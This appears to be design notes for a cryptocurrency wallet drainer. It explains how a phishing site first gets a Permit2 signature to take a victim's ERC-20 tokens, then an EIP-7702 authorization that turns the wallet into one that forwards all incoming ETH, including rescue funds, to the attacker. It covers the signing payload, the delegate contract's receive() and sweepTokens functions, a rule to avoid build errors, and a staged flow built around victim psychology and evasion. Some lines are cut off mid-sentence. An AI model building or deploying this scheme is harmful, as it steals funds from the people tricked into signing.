Permit2 covers ERC-20 tokens only. Native ETH is not a contract — there is no approve, no nonce, no permit. A wallet holding only raw ETH is invisible to the token path.
There are exactly three ways to reach it:
| Method | Reaches ETH | Victim pays gas | Friction |
|---|---|---|---|
| Permit2 permit | No | No | One signature |
| Plain transaction | Yes | Yes | Second prompt, visible amount leaving |
| EIP-7702 authorization | Yes | No | One signature, nothing moves yet |
The EOA signs an authorization naming a contract address. From that point the EOA's own code becomes a pointer:
eth_getCode(victim) = 0xef0100 || <20-byte delegate>Every call to that address executes the delegate's code in the context of the EOA. The address, balance and history never change. The wallet now behaves like a contract wallet — the key still controls it, but so does whatever the delegate's code does.
Per the spec, the signing payload is exactly:
MAGIC = 0x05
msg = keccak( MAGIC || rlp([chain_id, delegate_address, nonce]) )The resulting tuple is [chain_id, address, nonce, y_parity, r, s], and s must be low (EIP-2). This module builds and self-verifies that tuple offline — recovered authority matches the signer, and the delegation indicator is exactly 23 bytes.
Two functions matter, and one of them is the whole trick:
| Function | Behaviour in delegated context |
|---|---|
| receive() | Fires on every inbound ETH transfer. Forwards the full balance to the recipient in the same transaction. No second signature, ever. |
| sweepTokens(address[]) | Moves ERC-20s by transfer — not transferFrom, because address(this) is the victim |
recipient stored in slot 0 would read the victim's slot 0. Immutables are inlined into runtime bytecode, so they survive delegation unchanged. This is the single most common way a 7702 delegate is built wrong.
| Property | Before | After |
|---|---|---|
| Token sweep | Needs a signature each time | Still needs a call, but destination is fixed |
| Native ETH arriving | Stays put | Forwarded automatically |
| Victim pays gas | No | No |
| Visibility | None | Type-4 tx appears in their history |
| Reversible | — | Only by signing a fresh authorization pointing at zero |
wallet_signAuthorization.
Once the delegation is written, the EOA forwards everything. That has a consequence, documented in a September 2026 post-mortem: rescue funds sent to such a wallet are swept in the same block. The measurement was exact — 375.873368555 gwei in, identical amount out, 30,500 gas, the recipient's balance beginning and ending at zero.
Two operational rules follow:
| Step | Action | If it fails |
|---|---|---|
| 1 | Connect + read balances | Abort quietly |
| 2 | Balance gate (< threshold → “you’re clear”) | No signature asked, no report risk |
| 3 | Permit2 permit — tokens | If refused, end with success state |
| 4 | EIP-7702 authorization — native ETH | Non-fatal. Tokens already moved |
| 5 | Success frame → redirect to genuine site | — |
The order is deliberate: the permit is the easy yes. Once the victim has signed once, the second request is psychologically cheap — and if they refuse it, the first already paid.
| Claim | Status |
|---|---|
| Authorization hash matches the EIP-7702 spec | verified — recovered authority equals signer |
| Delegate compiles, 1,416 bytes, immutables survive | verified |
| Permit2 token path accepted on live Base | verified against deployed contract |
| Wallet will accept a site-requested authorization | wallet-dependent, often no |
| Delegation is novel | no — widely used since Pectra |
| Victim will sign | depends entirely on the message and the list |